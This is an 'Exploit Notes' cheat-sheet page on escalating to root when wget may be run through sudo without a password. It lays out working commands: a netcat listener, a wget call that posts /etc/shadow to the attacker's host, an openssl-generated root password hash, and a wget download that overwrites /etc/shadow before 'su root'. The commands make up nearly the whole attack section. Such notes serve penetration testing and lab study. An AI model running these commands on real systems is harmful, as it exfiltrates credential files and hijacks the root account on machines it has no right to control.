Exploit Notes

Sudo Wget Privilege Escalation

Last modified: 2023-02-05

Privilege Escalation

The "sudo wget" command may be vulnerable to privilege escalation (PrivEsc).


sudo -l

(root) NOPASSWD: /usr/bin/wget

If we can execute "wget" as root, we may be able to escalate privileges.

Modify /etc/shadow

Get "/etc/shadow" and generate a new hash passwd, then set it to the shadow file, next upload it.
That changes the root password.

1. Get the Content of /etc/shadow

To see the content of /etc/shadow, we can use netcat listener.
So First, start a listener in local machine.

nc -lvnp 4444

In target machine, display the contents of the "/etc/shadow" to the local machine using the following command.

sudo /usr/bin/wget --post-file=/etc/shadow <local-ip> 4444

We should see the content in our local machine via netcat listener.
Copy the content.

2. Create a New Shadow File

We create a new shadow file in local. The shadow file will be stored into the target /etc/shadow later.

vim shadow.txt

In vim editor (or nano, vi, etc.), paste the content of /etc/shadow which we've copied in the previous section.

3. Create a New Root User Password and Add to Shadow File

Generate a new hash password for a new root user in local machine.

# -6: SHA512
openssl passwd -6 -salt 'salt' 'password'

Copy the generated password and paste it at the password of the root user into the "shadow.txt".
As a result, the contents of the "shadow.txt" should look like this:


4. Transfer the Content of the Shadow File

To put the shadow.txt into the target machine, start web server for hosting this file.

python3 -m http.server 8000

Download this file into the /etc/shadow in remote machine. To do that, we need to run it as root.

sudo /usr/bin/wget http://<local-ip>:8000/shadow.txt -O /etc/shadow 

Finally, you can switch to the root user with the password we've created.

su root

Tools by HDKS


Automatic web fuzzer.


Auto reconnaissance CLI.

Hash Cracker

Hash identifier.